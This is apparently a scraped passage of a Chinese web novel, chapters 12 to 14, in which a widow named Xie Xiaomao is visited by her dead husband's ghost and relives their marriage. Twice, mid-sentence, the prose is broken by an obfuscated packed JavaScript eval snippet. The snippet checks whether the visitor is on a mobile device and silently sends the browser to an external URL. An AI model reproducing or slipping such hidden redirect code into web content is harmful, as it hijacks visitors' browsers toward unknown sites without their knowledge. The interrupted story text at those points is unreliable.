他们去海外旅行，住在度假村，那是她见过最美的房间，阳台上就可以看见大海。 丈夫会拉着她游泳，晒太阳，还会带她吃很好当地的美食。 真舒服啊，现在都可以感受到那时和煦的风。 小猫犹豫了下，还是接过了。 男人很高兴，房卡上有地址，他知道她能找到。 周礼信的魂魄就坐在旁边，看着眼前的一切。 他还是不甘。 今天，他又控制不住地飘到了小猫身边。 他偷偷看着人间的生活，觉得自己真像下水道里见不得光、只会自怨自艾的厉鬼。 他知道接下来会发生什么，魂魄深处的执念让他想请求人间使者，给一次附身的机会。 哪怕附身在老弱病残任何人身上都可以，他只想问问她，到底有没有爱过他。 他只想问问她，到底有没有爱过他。 只是这一次附身，大约真的会让他变成一缕青烟，既投不了胎，也成不了野鬼，慢慢消失在天地间，再也没有意识能寻到她了。 使者让他再三考虑，周礼信却很坚决。 他是好鬼，没做过坏事，二十多年干干净净没有一丝污渍，清清白白，说不定可以在天上做个官。 为了一个花心、没心的女人，魂魄飞散，值得吗？ 周礼信觉得，一切都值得。 他要她亲口说。 他知道，附身在人身上是没有感知的，只能说话、模仿声音，表情会很呆滞，其他什么都做不了。 他不知道，他的小猫会不会害怕，会不会搭理一个陌生人如此私密的问话？ 12. 第 12 章 男人临走时给她买了一支冰淇淋。 小猫不喜欢吃，却也不想浪费，坐在公园的长椅上慢慢舔着。 一位七十岁的老人走过来，在她身旁坐下。 周礼信附在老人身上，拼命想感知一点身体的真实感，还是没有办法体会到。 他坐在一旁，用略显机械的语气问小猫：“小姑娘，你结婚了吗？” 小猫听到声音，一股熟悉的断句气息席卷而来，猛地扭过头，见是位陌生老人，上下打量一番后，没有作答。 这人实在奇怪，怎么上来就问这种私密问题。 周礼信望着她，透过那双属于老人的浑浊眼睛直直凝视着。 他想做更多动作，却毫无机会，魂魄附身不过短短几分钟，时间一到便会脱离，不能浪费时间。 他直截了当的说：“小姑娘，我是算命的。我知道你姓谢，有个丈夫对吗？他姓周。他已经去世了，可最近魂魄一直不得安宁，你是不是做了对不起他的事？” 谢小猫听到这一串话吓了一大跳，手里的冰淇淋差点掉在地上。 她重新看向老人，声音带着颤抖：“你......你是谁？” 周礼信继续吓唬她：“我是谁不重要，你如果对他有一点点感情，请去墓碑上扫一扫，送一些百合花。” 小猫更为震惊了。 她对花草本就不甚了解，却的确听周礼信说过他喜欢百合。 原来每天摆在家里的红色、白色的花朵，叫百合。 这个人真的是神算子吗？为什么这样的事都清清楚楚？ 小猫定定地回望老人的眼睛，颤抖地追问：“你是谁？你到底是谁？” 他说话的语气太奇怪了，那声音分明带着年轻的质感。 周礼信真的装不下去了，好不容易能感受一点点人的感觉，立刻问最想问的问题：“谢小猫，你爱我吗？” “啊？”小猫惊得立刻站起来，连连倒退了好几步。 刚才那声音分明是周礼信的！他怎么会变成一个老头？ 他真的死了吗？ 其实这些天，她一直觉得他就在身边，从来没有死的体感。 周礼信无法动弹，只能继续以这种人不人鬼不鬼的状态说着：“小猫，小猫，你来我的墓前吧。” 在墓碑前，在骨灰前，他才不需要那么辛苦的找她跟着她。 阴间墓前可以无所顾忌的看着她，体会到她的声音。 小猫望着他，又慢慢走近。 那双眼睛里满是温柔，没有丝毫怨恨。 周礼信已经感觉到这具身体的排斥，魂魄在拼命挣扎着想要多留几分钟。 他本是来质问、来寻求灵魂安息的，可看到小猫震惊又痛苦的神情，心里还是泛起一阵难受。 他强压着即将出窍的魂魄，轻声说：“小猫，小猫。我从来没怪过你，没有过，你要好好生活，照顾好自己，以后...以后偶尔想起我就好。” 小猫痴痴的看着老年人的神态。 他像个被鬼魂附体的矛盾体，说着似是而非的话，让她在大白天里惊出一身冷汗。 她重新在他身旁坐下，轻轻拍了拍他僵硬的肩膀：“你是谁啊？你是他吗？你真的是他吗？你是周礼信吗？你快些告诉我。” “小猫，我走了，我真的要走了，再见，再见......” 魂魄很快与身体分离。 老人的眼睛瞬间变得黯淡，看向小猫的眼神也变得全然陌生。 小猫坐在老人身旁，声音有些结巴：“你....你显灵了吗？你是显灵了吗？” 可惜他早就魂飞。 从刚死后鲜活的鬼魂，到如今化作一缕青烟，他再也不能来看她了。 他曾怕她爱上别人，怕她被骗，怕她被折磨得一无所有。 他嫉妒，难受，到头来还是心软，担心她误入歧途。 老人和善地看着她，问道：“小姑娘，你怎么了？” 他的神态和声音，已经完全变回了自己。 小猫想起小时候听过的说法，人死后附身在别人身上说话，离开后被附身的人就什么都不记得了。 他真的已经走了，周礼信走了。 小猫却忍不住，自言自语道：“我结婚了，我一直都很想你，你想我吗？” 老人残存一点温柔，看着小猫轻声说：“小姑娘，你爱人和你分手了吗？” 她摇摇头：“他死了，死不瞑目，刚才来找我的，来找我报仇的，他很怨我，我就知道，他一直在怨我，这些天都跟着我。” 老人笑了笑：“哪有人大白天□□的？晚上才阴深深的可怕，白天出来呀，多半是想看看你的模样，想你呀。” 老人与她并不熟，原本是牵着狗溜圈，没想到走到了这里。 他没有再多说，颤巍巍地站起身，慢慢走开了。 小猫跟在他身后，亦步亦趋地追着。 很快，老人的孙子走了过来，看见小猫，恶狠狠地瞪了她一眼。 接着，他们便消失在了茫茫人海里。 是啊，谁会对一个总跟在别人身后的存在友好呢？ 大抵只有周礼信会吧。 遇见他之前，小猫大病了一场，晕倒在路边，是救助站的人把她送到了医院。 那时候，她真觉得自己快要死了。 因为身上什么疼痛感都没有，她从小也很少生病。 为什么总感觉一蹶不振？眼前时常晃着火星似的光点，总会一阵一阵的黑暗在眼前，很像要死的模样。 救助站的人看到小猫身上的福利院证明，医生和救助站的工作人员凑了钱，还帮她申请了免费检查。 可检查结果显示，她的身体机能一切正常。 没有任何问题。 即便如此，她的精神状态却越来越萎靡，像被抽走了所有力气。 那天，小猫躺在病床上，清晰听见医生们谈论她的病情。 “既然身体没什么问题，那大概率是没有求生的欲望了。” 后来，救助站找来了心理医生，是来开导想要寻死的人。 是啊，没人会承受得了这多年的居无定所。 小猫自己知道，她没病，也没什么想不开的。 或许只是和伙伴分开一两年，独自在这大千世界里辗转，走得太久，有些累了而已。 她对着心理医生撒了个小谎，说已经和朋友取得联系，要去找他们汇合。 工作人员很友好，给了她一部不算贵的手机，在这个信息时代，像她这样天天游离在外、不与外界接触的人，实在太少了。 是啊，连以前一起流浪的小花都有了手机，尽管她们从前都不喜欢这能“拴住人”的东西。 不得不承认，有了手机，似乎就能窥探到正常人的生活，能暂时麻醉在虚拟的网络里，忘了现实的漂泊。 但离开救助站时，小猫还是悄悄把手机还了回去。 从十六七岁那年独自踏上旅途，到现在，已经整整两年了。 走了许许多多的地方，乡村、城镇，高山，溪流，见过彩虹，闪电，雷雨，哄睡。 吃过草，摘过野果，住过山洞。 此刻，想看看大城市和自己以前走过的地方到底有什么不一样，会不会真的瞧不起她这样的人。 或许是赶路的日子太长，刚到城市边缘，小猫就找了个角落，昏睡了整整两天。 她像沙漠里的骆驼，最长能熬过五天不进食，路边的野果、野草，都能用来充饥。 可真走进城市里，眼前的一切还是让她眼花缭乱。 小猫闻了很多食物的气息，也有汽油的气味，有种说不清道不明的感觉。 食物的香气混着汽油的味道在空气里交织，说不上是好闻还是难闻，只让她觉得陌生又拥挤。 她一点都不喜欢这里，心里盘算着，待两天就离开。 只是太饿了，饿得头昏脑涨，想吃这些花红柳绿的东西。 没想到，就在这个饥肠辘辘的时刻，她遇见了周礼信。 这个男人真奇怪，笑得如沐春风，和善的想欺负他。 小猫原计划的停留，在第二天，第三天遇见他悄然改变。 长这么大，他是第一个在投喂她吃东西时，从不追问她背景的人，不问她的过去，也不问她的现在。 就这么一天天拖着，从最初计划的“第二天离开”，变成了十天、二十天，直到一个月过去。 再后来，他们恋爱了。 小猫知道“恋爱”是什么意思，她一点都不傻。 以前和伙伴们流浪时，她见过十几岁就结婚的人，也见过中途因为遇到喜欢的女孩、谈了朋友就离开队伍的男孩。 她知道，谈朋友就是两个人相互喜欢、相互爱慕，会牵手，会亲吻。 不过，她一点都没兴趣做这些。 直到小猫看见了这个男人，他长得真好看，衣着体面，身上总带着干净的气息，性格文静又风雅，待在他身边，只觉得说不出的舒服。 每次小猫离他而去，就在想，小猫啊小猫，和男朋友分手，是不是该说一句道别的话呢？ 想来想去到最后，那淡漠的性子还是占了上风，总是不告而别，像从前离开任何一个地方那样。 她总觉得，人都会有厌倦的时候。 总有一天，周礼信会厌倦她身上“野草”的味道，不服管教的性格，随时离开的习惯。 可他没有。 小猫喜欢被他投喂的感觉，和他在一起的那段日子，每天吃的食物都不一样，新奇又令人着迷。 他好像很有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317628|183089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱，永远花不完。 不会去过问她不想回答的东西。 小猫喜欢这样有距离感的相处，不黏腻，很轻松。 所以谈朋友也不是多么令人疯魔的事情，他充其量牵牵手，手指会来回滑动她的手背，很舒服。 慢慢他们的关系亲近起来，她好像着魔一样，会主动提一下自己过往的只言片语。 从前，她是打算半个字都不说的。 而且，小猫真的不懂为什么男人总爱动手动脚，为什么不能保持二十厘米的距离，谁也不碰谁，安安静静地待着就好？ 可习惯真是件奇妙的事。 前几个月，她还大病一场，觉得自己快要死掉。 现在，却能跟着一个曾经陌生的男人，谈一场连自己都没完全弄懂的恋爱，每天吃香的喝辣的。 他待她，像哄小孩似的，会在她窝在沙发旁时，轻轻摸她的脸。 小猫眼睛会间隔几分钟看他一下，每次睁眼，他都笑意溢浓，开心极了。 一开始，她还想着去附近几个城市走走，可冬天很快到来，天气越来越冷。 从前像野猫一样不怕冻的她，自从和周礼信在一起、渐渐有了“家”的感觉后，竟开始害怕受冻了。 是上次生病让她变得娇贵了吗？小猫自己也说不清楚。 总之，她开始变得爱睡懒觉，每天吃了睡、睡了吃，活像只被养熟的猫。 十多年的奔波与走路，像是找到了归宿，终于不用不停的跋山涉水，可以停下脚。 这个男朋友把她照顾得无微不至，早知道，第一天就和他谈恋爱了。 小猫时常觉得，自己好像飘上了天，现在过的，大概就是人们说的“天堂”吧？人这一辈子，还能有比现在更好的日子吗？ 他做的菜真好吃，每次都能让小猫想吃完。 他会在跑步机上跑得大汗淋漓，洗完澡后，会从身后搂着她的腰，低头亲吻她，吻很久很久。 小猫不知道自己什么时候变了，从一开始像僵尸一样僵硬不动，到后来亲着亲着会主动搂着他的脖子，回应他的吻。 因为和他接吻总感觉全身软绵绵的，被他的大手揉来揉去有种说不出的舒服。 她喜欢舒服的事情，令人开心的事情。 以前在沙发上蜷缩着的“小窝”，也渐渐变成了他们日常依偎缱绻的地方。 她开始下意识地注意他、观察他，会盯着客厅的钟表看，算着他下班的时间；会竖起耳朵听门外的动静，感知他开门的声音。 每次他回家，看见她睁开眼睛看自己都很开心。 小猫不太明白，不过是自己看了他一眼，他怎么会那样开心。 她出门后回来，周礼信都会在小区门口等着，一副焦急的模样。 会脱掉自己的外衣裹住她，，语气里满是庆幸的欢喜：“饿不饿？想吃什么？” 小猫长这么大，很少有过“愧疚”的情绪，可看着周礼信事事为她着想的样子，心里竟悄悄泛起一丝柔软的歉意。 想来想去只能自己也做同样的事情。 下楼接送就算了，出小区门口更不可能。 思来想去，她能做的，好像只有在他推门进家的那一刻，从沙发上或地毯上抬起头，安安静静地看向他。 奇妙的是，看见他脸上露出开心的神情，她心里也会莫名泛起一阵小小的兴奋 周礼信给小猫买了很多衣服，各式各样的裙子、外套、毛衣，塞满了大半个衣柜。 小猫翻着那些柔软的布料，心里默默想着：这么多衣服，恐怕一辈子都穿不完吧。 结婚的前几天，他向她求婚，说了很多很多话。 说着说着，声音渐渐发哑，眼眶也慢慢湿润起来。 小猫睁着清澈的双眸，一瞬不瞬地盯着他泛红的眼尾，不解的问：“你怎么哭了？” 他蹲下身，握住她的手，声音带着点哽咽：“小猫，你无依无靠的，没有家人为你撑腰。我总在想，万一以后我们吵架，我要是没控制好脾气欺负了你，你该怎么办？一想到你以前可怜地蜷缩在街边、连口热饭都吃不上的样子，我就难受。所以小猫，我不能让你再受一点委屈，我不仅要当你的丈夫，还要当你的爸爸，你的妈妈，你的兄弟，你的姐妹，把你缺失的所有陪伴，都补回来。” 小猫听完，轻轻皱了下眉，小声说：“不用了。” “不用什么呢？” 她往柔软的地毯里蹭了蹭，歪着脑袋闭上眼睛，声音轻得像羽毛：“除了第一个，都不用了。” 却没料到周礼信听完后，突然一把将她抱了起来，兴奋地原地转了好几个圈。 她也没说什么呀。 小猫被转得头晕目眩，胃里也泛起一阵翻腾，忍不住带着点气说：“......我要吐了。” 13. 第 13 章 周礼信将她搂在怀里，低头亲了亲她的脸颊，笑着问：“是高兴的晕过去了吗？” 小猫是老实人，回答道：“是被你转晕了。” 因为要筹备婚礼，周礼信一边忙着各项准备事宜，一边抽时间带她挑选婚后旅行的目的地。 小猫哪儿都不想去，满心只想天天待在家里睡觉，身边还能有吃不完的好吃的。 她真累呀，和他在一起这么久，好像始终没好好歇过来。 结婚后，周礼信休了半个月婚假，两人一起去了太平洋上一座著名的小岛度假。 直到踏上那片土地，小猫才真切明白，什么叫人间天堂。 自己是不是也在天堂呢？ 嫁给了一个天堂派来的男神仙，对她那样的好，那样的温柔。 小猫见过海，只是从前见过的海，和大溪地的海完全是两回事。 在这里，她可以在遮阳伞下安安稳稳睡上三个小时。 也能趴在床上，任落地窗帘被风轻轻吹起，整个人浸在惬意又舒服的氛围里。 周礼信会亲自去餐厅，一道道品尝菜品，把味道鲜甜可口的挑出来，让人端回房间给她。 小猫的胃口也实在好，不管他带回来多少，总能干干净净吃完。 她真的很懒很懒，哪里都不想去逛，周礼信便只好抱着她，带她坐在缆车上慢悠悠地看遍海岛风光。 周礼信有时候真的怀疑她是猪变的，不过，猪哪有她可爱，还是她的名字比较适合她。 每到晚上，周礼信总喜欢摸着她的肚子睡觉，那里永远是软软的、暖暖的。 做夫妻久了，亲近时也多了些随意的小动作，捏捏她的臀部，拍拍她的大腿，或是揉揉她的胸部。 她每次都闭着眼睛，脸上是种说不上是享受还是纵容的温顺表情。 小猫和他在一起这些日子，有时候真会觉得周礼信是神仙般的人物，不是说他有飞天遁地的法力，而是他心里那份纯粹与善良，干净得让她觉得，世间所有美好的词，用来形容他都不为过。 这真的是活生生的人吗？ 还是她自己这些年走得太颠沛，早已不懂正常人的思维与生活，才会对这份好感到不真实？ 他有耐心，从不生气，不会发脾气，总会担心她，只要离开出门，就会不停的打电话问候她，说一些甜言蜜语。 那些话，她一辈子都不会说出口，实在太难以启齿。 他说：“小猫，我出门的第一秒脑子就开始酝酿下班后和你做的一些事，工作的时候会想你在干什么，感觉自己要疯了。” “小猫，你怎么能这么可爱？我真的太喜欢抱着你、亲你了，有时候恨不得把你揉碎了，搓进我自己身体里，这样就能时时刻刻和你在一起。” “小猫，你真的好可怜，为什么我们不能从小就认识呢、那样我可以早点照顾你，早点和你结婚。” ...... 一开始听到这些话，小猫总觉得尴尬，故意装出没听见的样子，不回应他。 后来，他说的次数多了，也就习惯了。 他的父母打电话也总会告诉周礼信，他们很爱很爱他。 小猫耳朵格外灵敏，听到这些话像是听到了世界上最震惊的新闻。 她不懂亲情，对爱情还是有本能的认知的。 周礼信口口声声说爱她，到底是不是爱情呢？ 还是如同家人一样随意说着我爱你？ 平日里大多是他在说，她闭着眼睛听，那天却忍不住打断他，轻声问：“你爱我，和爱你爸爸妈妈，是一样的吗？” 这一次，周礼信没有笑，而是认认真真地看着她，眼神格外严肃，郑重其事地回答了这个问题。 “小猫，不一样的。爱一个人，是会有身体反应的，看到你，想起你，这里就会硬，会难受。我的心在遇见你之前的五分钟，那种兴奋和跳动达到顶峰。我睁开眼就想看到你，时时刻刻都想亲你、抱你，晚上想和你在床上做很多亲密的事。出去看到好看的云、好吃的东西，第一反应就是想告诉你，想分享给你。我总觉得，天底下最美好的东西，都该给你才对……” 那些话，谢小猫到现在都记得清清楚楚。 这些告白与申请当时她听得懵懵懂懂，却又十分清楚他喜欢她，就像她喜欢春天吹来的暖风。 小猫也在尝试喜欢他。 事实，从一开始就不一样，为了他，一再停留同一个地方。 从前她总像个过客，在每个地方都待不久，可因为他，她第一次愿意在同一个地方停留很久很久。 到最后，她甚至已经下定决心，要永远住在这里，永远和他在一起。 可是他就这么死了。 律师欲言又止地把结果告诉她时，小猫的大脑一片空白，像被人瞬间抽走了所有思绪。 她一边强迫自己把他当成从前路过的那些朋友，反正都是过客，死了就死了，没什么好难过的。 一边要清空对他对她，还有她对他产生不可逆不可回收，早已刻进骨子里填满的感情。 这些年，她一直一个人过，脑子里空空的，从没想过要装下什么人、什么事。 可偏偏在她决定把他、把这份感情，满满当当装进心里的时候，却得到了这样的结果。 他到底是来救她的天神，还是来毁她的阎罗？ 人大概都有自我保护的本能，在极致的痛苦面前，反而会触发防御机制，让大脑一片空白 小猫讨厌他。 讨厌看到他苍白冰冷的尸体，讨厌他闭着眼睛一动不动，讨厌他就那样僵直地躺着，讨厌她站在他身旁都不肯起来拥抱她。 从前，她从来不会看一个死人，不会去怀念，不会抱着骨灰，不会和所有人围在一起哭泣。 小猫每天都盼望着能离开那里，重新过上属于自己的生活。 她不想再看着别人为他哭，讨厌随处可见他的照片，更厌倦每个人都翻来覆去地提丈夫的过去，描述他从前读书时多优秀，老师多可惜他，同学们又多怀念他。 他明明已经死了，死了就什么都没了，说这些没意义的话又有什么用呢？ 她再也不用依附他生活，也不用困在同一个地方耗上几十年，能卸下枷锁，终于可以再次前行。 谢小猫就这么一步一步地走，走到了现在。 她觉得自己是真的把他忘掉了。 其实他也没什么大不了的，有没有他，日子还不是照样过？这世上的人，说到底不都差不多吗？ 小猫习惯了孤独前行，习惯一个人走在空荡荡的大街上，习惯默默待在荒草丛生的田埂边，习惯独自看遍夕阳、落日与朝霞，任凭风吹雨打，也只是自己一个人扛。 就当过去的一切是一场梦吧，一场该醒的梦。 她早该从这场梦里清醒过来了。 可那一瞬间，在那个陌生老人的眼神里，小猫偏偏看见了他。 看见了她丈夫从前的神态。 或许小花说的是对的，世界上真的会存在鬼。 是她过去对他太不好了，所以他才会阴魂不散地跟着她，不肯放过她。 可是，她该怎么对他好呢？ 从前在一起的那些日子，小猫已经尽了最大的力气去回应他了。 虽然每次都只能说“嗯”“好”这样简单的词，但她总想着，以后的时间还很长很长，没必要像他那样把情意挂在嘴边，搞得那么肉麻浓烈。 她对他不好，这件事，她一直都知道，现在更是清清楚楚地明白。 她不是没心没肺，不是愚笨的傻瓜，更不是什么都不懂的白痴。 她上过几年学，当年老师觉得她聪明，还私下里额外教了她好几年功课。 可她偏要装作不识字的样子，装作对一切都不在乎，觉得这样很酷，无人能敌。 即便在这个世界上，她的确没什么在乎的人和事。 小猫觉得自己真的很坏。 当初答应他恋爱、跟他结婚，根本不是因为喜欢，纯粹只是想找个能安稳吃饭、安稳睡觉的地方，从来没认真想过要履行女朋友或妻子的职责。 她还总在想，自己迟早是要走的，要离开的，要潇洒转身、不带走一片云彩的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317629|183089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个傻男人啊，又怎么可能拴得住自己呢？ 她本该是属于荒草横生的自然的，是像那些长在路边、湖边、草丛里的无根杂草一样的人。 生在哪里，死又在哪里从不在乎，小猫知道，她即便死后也不会有人来收尸。 偏偏，小猫在他给的蜜罐里一天又一天地浸润着，被他身上鲜活的人类气息吸引，被他那种安稳正常的生活慢慢塑造。 最后，变成了现在这样恍惚、心事重重的模样。 所以，小猫恨他。 可她又怕他。 他那样好的人，死后一定是会上天堂的吧？她怕他死后会报复自己，怕他真的会阴魂不散地缠着她，让她不得安宁。 如今，她好像真的看见了鬼，看见了他的执念，听见了他无声的质问“你到底爱不爱我？” 小猫很心虚，她好像真的不爱他。 爱一个人，是不是就该像别人说的那样，愿意跟他一起去死，愿意这辈子都不再找别的男人？ 现在的她，很伤心，很失落，很难过。 如果他当初没有死就好了。 那样的话，她就不会被这些念头反复折磨，不会像现在这样焦躁不安，更不会被愧疚感压得喘不过气。 如果能换回他活着，她宁愿跟他保证，一辈子都不逃出去，一辈子都待在那个只有一百多平的小家里，再也不做离开的梦。 小猫呆呆地站在原地。 她不想回到那个没有他的家，可双脚却不听使唤，还是要往那个方向去。 不知怎么晕晕乎乎到了站。 又走了很久很久，腿都酸得发僵，小猫终于看见了熟悉的小区大门。 门口永远都不会再有等她的人。 天已经黑，她一整天什么饭都没吃，却蹲在家门不想进去。 一直睡在第二天一大早，她好像被一阵风吹醒。 小猫缓缓掀开眼睫，视线里骤然闪过一片白光。 光晕散去后，她看见一只圆滚滚的大白猫正蜷在一个十六七岁少年的腿上。 少年一边漫不经心地顺着猫毛，一边抬眼望向讲台，似乎在听老师讲课。 阳光从窗外淌进来，落在少年的侧脸上，晕开一层柔和的光线，让人看不清长相。 少年一边担惊受怕，一边边悄悄留意着讲台上的老师，生怕小动作被发现，一边又难掩几分紧张，指尖的动作都轻了几分。 小猫觉得很熟悉，因为这只大胖猫真的好像自己。 眼睛一直眯着，要死不死的模样，阳光洒下来全身暖暖的，连睁开的力气都没有。 少年的手指修长好看，带着年轻肌肤的温度，一遍遍顺着猫毛轻抚，动作温柔又耐心。 原本还感觉挺冷的风，此刻一阵燥热。 那男孩朝着她的视线看过去，眼睛睁得很大，这时他恰好背过了光，脸上的轮廓瞬间让小猫看清。 好像是那该死的亡夫呀。 只是此刻的他，少了几分后来的沉稳，多了少年人的青涩与干净，一副乖乖巧巧的模样，全然是青春最好的样子。 不等她再多看，少年忽然站起身，腿上的大白猫也跟着一跃而下，朝着小猫的方向直直扑来。 瞬间把人吓醒了。 小猫在门口第二次醒来，双重的梦境。 外面电梯“叮”地一声打开，又“哐当”一声合上，反复循环的声响在寂静的夜里回荡，像鬼魅的低语，渗得人骨头缝都发凉。 她定了定神，伸手推开房间的门，摸索着按下了灯的开关。 暖黄的灯光亮起的瞬间，眼前的景象冲击力太强。 一切都没有变。 书桌上还摆着她上次没来得及收好的剪刀，笔筒里的笔依旧歪歪扭扭地插着，连窗台那盆绿萝的位置都没动过。 小猫双手紧紧攥成拳头抵在胸前，跪坐在地上，小声嘀咕着：“你不要来找我，不要来找我......” 可这句话重复了没几遍，她的声音又渐渐低了下去，带着难以察觉的委屈与期盼，自言自语道：“可你为什么……又不来找我呢？” 14. 第 14 章 小猫最后还是推开了门。 这是他们的婚房，是她和周礼信结婚生活在一起的地方。 可是啊，为什么一切都没有变的呢？ 公公婆婆也并没有占有之后对他们进行任何形式的改动，只有桌子上她吃的食物被夹子夹上防潮。 小猫轻轻关上门，默不作声地走向沙发。 这次她没有窝进那张专属于她的圆沙发，而是坐在宽敞的长沙发上，眼神放空，怔怔地发起呆来。 恍惚间，一道白光骤然闪过，她再次坠入那片令人心悸的、撕裂般的梦境里。 这次小猫没有再看到周礼信少年时期的模样，而是他在上班，穿着笔挺的衬衫，在会议室里，在和座位上的很多人侃侃而谈，意气风发。 小猫站在会议室门口，静静地望着他，他似乎完全没注意到她的存在。 这就是他以前上班的地方吗？是他日复一日忙碌的场景吗？ 原来，人的工作是这个样子的。 小猫有些后悔，后悔的是从来没有关心过他。 不关心他的工作，不关心他的生活，不在意他的生活状态。 唉，她到底算不算一只坏小猫呢？ 如果真是坏小猫，那他为什么总捧着她的脸，一遍遍地说爱她，说喜欢她，喜欢到不行，爱她爱到深入骨髓？ 人怎么那么奇怪，喜欢一个没有感觉的人呢？ 他们相识的时间那么短，他怎么就会爱她到这种地步呢？ 喜欢一个人，到底是什么感觉啊？ 那现在的自己，算不算是喜欢他呢？ 就这样看着他在会议室讲解开会，觉得很帅很好看。 其他，并没有多余的感情。 这一次，小猫像个透明的幽灵，悄无声息地在他身边飘来飘去。 跟着他去餐厅吃饭，看着他在办公桌前处理文件，听着他耐心地打电话，或是和同事低声讨论工作。 飘得久了，小猫觉得累了，便蜷在他办公室的沙发上，想趁机睡个懒觉。 不知是不是她的呼吸惊动了什么，一直对她“视而不见”的周礼信，竟忽然停下手里的事，默默朝沙发走了过来。 最后，他在沙发边蹲下，温热的手掌轻轻抚过她的脸颊，声音温柔得像羽毛：“你怎么一直跟着我呢？” 小猫吓了一跳，猛地坐起身，眼睛直直地盯着他，声音发颤：“你看得见我？” 周礼信笑着说：“你真是傻得可爱。你是从哪里来的？怎么别人都没发现你呢？你叫什么名字呢？” 啊？ 第一次有人不怕鬼，不怕有人尾随，还可以温柔善良的问，你叫什么名字？ 有那么一瞬间，小猫的脑子一片空白，她甚至恍惚觉得，当初死去的人其实是自己，不是周礼信。 会不会是她早就饿死在了街头，和他结婚、相守的那些日子，全都是一场不切实际的梦？ 只有在梦里，才会有这么好的事，才会有这么温柔的男人，不计代价地对她好。 还没等她理清思绪，一股冰冷的海水突然将她包裹，窒息感瞬间袭来。 她不会游泳，只能在水里拼命挣扎、扑腾，眼看就要沉下去。 小猫不会游泳，感觉自己马上要窒息了。 就在这时，一只有力的手臂突然揽住了她的腰，将她从死亡边缘拉了回来。 搂着她的人，就是周礼信。 他只是匆匆托了她一下，便立刻转身朝着远处游去，任凭她在原地呼喊，也没有回头。 小猫望着不远处倾覆的游轮，瞬间明白过来，这里就是周礼信出事的地方。 她想大声叫住他，想让他赶紧上岸，想让他找块木板抓住别松手，可是周礼信一直游，一直游，离她越来越远，最终变成了一个模糊的小点。 小猫伸出手想要说话，想要和他在一起，哪怕一起死，或者替他死。 这个男人依然没有回音。 小猫低着头痛哭起来，哭着哭着便醒来了。 她的哭声招来了还剩下一缕残魂的周礼信。 此刻，他只能模模糊糊的看到小猫的身影，眼前只剩一片花花绿绿的光影。 可他还是一眼认出了她，也认出了这个地方，这是他们的家。 这个女人居然回到了他们的家。 她不是已经要和别的男人在一起了吗？ 不是早就变心了吗？ 怎么会突然回来？ 周礼信没有办法不多想，心里又酸又涩，还有一丝连他自己都没察觉的窃喜。 就在前一刻，他还在绝望地想，不如就这样魂飞魄散吧，下辈子也不想再投胎了。 可这一刻，看到她的瞬间，所有的绝望都烟消云散。哪怕要经受无数次轮回的考验、无数种痛苦的折磨，他也想重新投胎到这个世上 等他长大，就去找她，找或许已经三四十岁的小猫。 他还想和她在一起，想永远和她在一起。 和她相守的这一年，是他一生中最快乐的时光。 尝过思念成疾的滋味，有过彷徨无措的时刻，也体会过心跳加速的悸动，这些都是他从前从未有过的情绪。 这个总是冷冰冰的、对什么都不在乎的女孩，早已刻进了他的骨血里，无时无刻浸入在他的脑海里。 哪怕她只是随意扫他一眼，都能让他心跳漏跳半拍。 此刻看到她坐在沙发上，肩膀微微耸动的模样，能想象出来心里像被针扎一样疼。 他知道，他的妻子很孤独，很害怕，很恐惧， 想到这些又开始难过。 周礼信真善良啊。 不过，谢小猫并没有打算停留这里很久。 她在冰箱找了一些吃食，不管过不过期，随便填了下肚子。 撕开一袋全麦面包，又摸出一瓶未开封的牛奶，是周礼信以前总给她热的牌子，说温牛奶助眠。 那段日子小猫睡眠不是很好，所谓的不好只是相对而言。 以前她晚上九点可以睡到第二天六点，只是变成了十二点到六点。 周礼信心疼的不行，总觉得她身体不好，缺乏营养，需要补充体力。 毕竟体力行不行只有他清楚。 那几天每天晚上都是软绵绵的搭在他的要上，胳膊都不想搭在他的脖颈。 原本想去医院做下检查，她到底缺什么物质，好好补一补。 小猫偏偏是不喜欢打针吃药抽血，每次跟她说这件事就窝在沙发上睡得更死，眼睛都不睁开一点。 不过，可能牛奶真的有点助睡眠，慢慢地，晚上和他亲亲结合后，真的睡得很香甜。 谢小猫没管面包是不是还松软，撕开包装就往嘴里塞，干硬的面包渣剌得喉咙发疼，又猛灌了几口冰牛奶，才勉强压下胃里的空荡。 一旁还放在午餐肉，她打开后咬了一口。 这是冰箱里唯一的肉类，不是很好吃。 午餐肉哪里有红烧肉和牛排好吃呢？ 吃完东西，小猫擦了擦嘴角，起身往门口走。 路过卧室门口时，脚步却像被钉住了似的。 门板颜色还是她随意指选的浅灰色，门把手上还缠着一圈米白色的丝带，是婚礼那天她随手系上的，后来一直没拆。 她犹豫了几秒，还是伸手推开了门。 卧室里的一切和她离开时一模一样。 床铺并没有叠放。 浅咖色的双人床上，铺着红色的床单，枕头还保持着她习惯的高度。 结婚之前，周礼信床单一向是白色和深蓝色，结婚后换着花样的红色。 看着可真喜庆呀。 床头柜上，还放着周礼信的腕表。 他一向公务、外出、上班会戴着不同类型的，每一块都很好看。 衣柜里，她的裙子和他的衬衫还整齐地挂在一起，这些都是他整理的，小猫从来都不会去做。 周礼信的残魂一直跟在她身后，看到这一幕，光影忍不住颤了颤。 这些细碎的瞬间，曾是他最珍贵的日常，如今却成了触不到的回忆。 小猫走到床边，伸手摸了摸床单，布料还是软软的。 可是他不知道，她一直不喜欢软软的床。 直到现在也不习惯。 